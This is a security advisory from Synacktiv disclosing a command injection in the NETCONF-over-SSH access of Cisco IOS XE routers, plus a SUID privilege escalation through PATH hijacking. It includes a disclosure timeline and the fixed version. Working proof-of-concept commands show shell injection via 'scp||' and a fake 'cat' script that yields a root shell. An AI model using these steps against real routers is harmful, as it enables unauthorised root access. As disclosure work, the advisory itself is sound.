SYNACKTIV
DIGITAL SECURITY

Command injection in NETCONF SSH access and privilege escalation on Cisco IOS XE routers

Security advisory

06/05/2020

Julien Legras
Thomas Etrillard

Vulnerability description

The Cisco 4000 Series ISR

The ISR 4000 Series creates a secure, high-performance foundation for branch collaboration, edge compute, and optimized cloud application connectivity. [1]

The Cisco 1000 Series ISR

Cisco® 1000 Series Integrated Services Routers (ISRs) with Cisco IOS® XE Software combine Internet access, comprehensive security, and wireless services (LTE Advanced 3.0 wireless WAN and 802.11ac wireless LAN) in a single, high-performance device. The routers are easy to deploy and manage, with separate data and control plane capabilities.[2]

The issues

During a security assessment for a customer, Synacktiv consultants discovered a command injection in the NETCONF over SSH access (TCP port 830). Indeed, the SSH configuration checks if the commands starts with *scp* and then, evaluates the command as a whole, resulting in a command injection instead of allowing *scp* command only.

Moreover, using this access, Synacktiv consultants identified a SUID program that can be used to gain full root privileges on the system.

Affected versions

According to Cisco advisory, all versions < 17.2.1r are vulnerable.

Official fix

Update to the latest version 17.2.1r.

Timeline

Date	Action
23/09/19	Vulnerabilities details sent to psirt@cisco.com
25/09/19	Reply from Cisco
30/09/19	Agreed on 90 days before disclosure
22/10/19	Cisco asked to delay the disclosure to mid or late January 2020
09/01/20	Cisco asked for additional 90 days delay
10/01/20	Agreed for additional 60 days delay
18/03/20	Cisco postponed the fix release to April

1 https://www.cisco.com/c/en/us/products/routers/4000-series-integrated-services-routers-isr/index.html#~products
2 https://www.cisco.com/c/en/us/products/collateral/routers/1000-series-integrated-services-routers-isr/datasheet-c78-739512.html

29/04/20	Security advisory CSCvs75505 and Cisco IOS XE SD-WAN Software version 17.2.1r released https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-xesdwcinj-AcQ5MxCn

Technical description and proof-of-concept

The command injection

NETCONF is available through SSH to view and edit the device configuration. The SSH servers is listening on TCP port 830:

```
bash-4.2$ ps auxwww | grep ssh
root     29344  0.0  0.1  34764 15620 ?        S    Aug20   0:32
/tmp/sw/rp/0/0/rp_security/mount/usr/binos/sbin/ncsshd -D -f  /tmp/chassis/local/rp/chasfs/
rp/0/0/etc/ncsshd/ncsshd_mgmt_persistent.conf -o pidfile=/var/run/ncsshd_mgmt.pid -V 2 -V
16 -V 1
```

The configuration file configures a *ForceCommand* directive:

```
bash-4.2$ cat /tmp/chassis/local/rp/chasfs/rp/0/0/etc/ncsshd/ncsshd_mgmt_persistent.conf
Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc
MACs hmac-sha2-256,hmac-sha2-512,hmac-sha1
KexAlgorithms diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-
sha1,diffie-hellman-group14-sha1
Compression no
Port 830
Protocol 2
RSAAuthentication no
PubkeyAuthentication yes
AuthorizedKeysFile      /home/vmanage-admin/.ssh/authorized_keys
ChallengeResponseAuthentication no
AllowAgentForwarding no
AllowTcpForwarding no
X11Forwarding no
PrintMotd no
PrintLastLog no
UseLogin no
UseDNS no
ClientAliveInterval 100
ClientAliveCountMax 3
MaxStartups 20
PermitTunnel no
Subsystem  netconf /bin/mcp_pkg_wrap rp_base /usr/binos/conf/netconf-subsys.sh
# IMPORTANT: This config needs to be set to disable shell and other commands
ForceCommand /bin/mcp_pkg_wrap rp_base /usr/binos/conf/netconf-subsys.sh
```

However, the script */bin/mcp_pkg_wrap* is using *eval* on the command provided by the user:

```
bash-4.2$ cat /bin/mcp_pkg_wrap
#! /bin/bash
#
# Wrapper to permit non-BASE components to run normally, by exporting
# their parent package's libraries into their library path.
#
# August 2006, Dan Martinez
# Copyright (c) 2006-2007,2015-2016, 2017 by Cisco Systems, Inc.
# All rights reserved.
#
source /common
source ${SW_ROOT}/boot/rmonbifo/env_var.sh
source /usr/binos/conf/package_boot_info.sh
# Allow scp
if [[ $SSH_ORIGINAL_COMMAND == scp* && $2 = *"netconf-subsys.sh" ]]; then
```

```
     eval ${SSH_ORIGINAL_COMMAND}
     exit
fi
[...]
```

So, it is possible to execute any command as long as the command provided by the user starts with "scp":

```
$ ssh -p 830 admin@10.66.66.100 "scp||id"
admin@10.66.66.100's password:
uid=85(binos) gid=85(bprocs) groups=85(bprocs),4(tty)
usage: scp [-12346BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file]
           [-l limit] [-o ssh_option] [-P port] [-S program]
           [[user@]host1:]file1 ... [[user@]host2:]file2
```

As it is possible to execute any command, it is also possible to start an interactive bash:

```
$ ssh -p 830 admin@10.66.66.100 "scp 2>/dev/null|| /bin/bash -i"
admin@10.66.66.100's password:
bash: no job control in this shell
bash-4.2$
```

The privilege escalation

Using the interactive shell, it is possible to search SUID binaries:

- ISR4300:

```
bash-4.2$ find / -xdev -perm -4000 2>/dev/null
/tmp/etc/bexecute
/tmp/sw/mount/isr4300-mono-ucmk9.16.10.2.SPA.pkg/usr/binos/bin/bexecute
/tmp/sw/mount/isr4300-mono-ucmk9.16.10.2.SPA.pkg/usr/sbin/viptela_cli
```

- C1111X-8P:

```
bash-4.2$ find / -xdev -perm -4000 2>/dev/null
/tmp/etc/bexecute
/tmp/sw/mount/c1100-mono-ucmk9.16.10.2.SPA.pkg/usr/binos/bin/bexecute
/tmp/sw/mount/c1100-mono-ucmk9.16.10.2.SPA.pkg/usr/sbin/viptela_cli
/bin/ping
```

Let's take a closer look at */tmp/etc/bexecute:*

```
$ ls -l /tmp/etc/bexecute
-rwsr-sr-x 1 root root 51288 Aug 20 08:02 /tmp/etc/bexecute
```

This binary accepts 2 commands:

- *--command*
- *--filename*

command's value is checked against the whitelist of scripts contained in */usr/binos/conf/uicmd.conf*. For instance the script */usr/binos/conf/install_show.sh* can be executed to read files as *root*:

```
$ /tmp/etc/bexecute -c "/usr/binos/conf/install_show.sh --command display_file_contents --
```

```
filename /proc/self/status"
Name:    cat
State:    R (running)
Tgid:    32498
Ngid:    0
Pid:    32498
PPid:    32344
TracerPid:    0
Uid:  0  0  0  0
Gid:  0  0  0  0
[...]
```

The command *display_file_contents* is very simple:

```
function display_file_contents () {
    cat $filename
}
```

However, *cat* is called without the full path. It is therefore possible to change the *PATH* environment variable to call an arbitrary binary named *cat*.

As the *PATH* variable comes from the regular shell, it is possible to craft a malicious *cat*:

```
bash-4.2$ id
uid=85(binos) gid=85(bprocs) groups=85(bprocs),4(tty)
bash-4.2$ echo -e '#!/bin/bash\n/bin/bash -i 1>&2' > /tmp/mypath/cat
bash-4.2$ chmod +x /tmp/mypath/cat
bash-4.2$ export PATH=/tmp/mypath/:$PATH
bash-4.2$ /tmp/etc/bexecute -c "/usr/binos/conf/install_show.sh --command
display_file_contents --filename nope"
bash: no job control in this shell
bash-4.2# id
uid=0(root) gid=0(root) groups=0(root)
```

The allowed scripts list is quite long and may contain other vulnerabilities that could also lead to a privilege escalation. These scripts must be reviewed to avoid LPE.

Impact

By combining both issues, it is possible to gain root privileges on routers if NETCONF over SSH is enabled and reachable. **It should be noted that this exploit scenario requires a valid account.**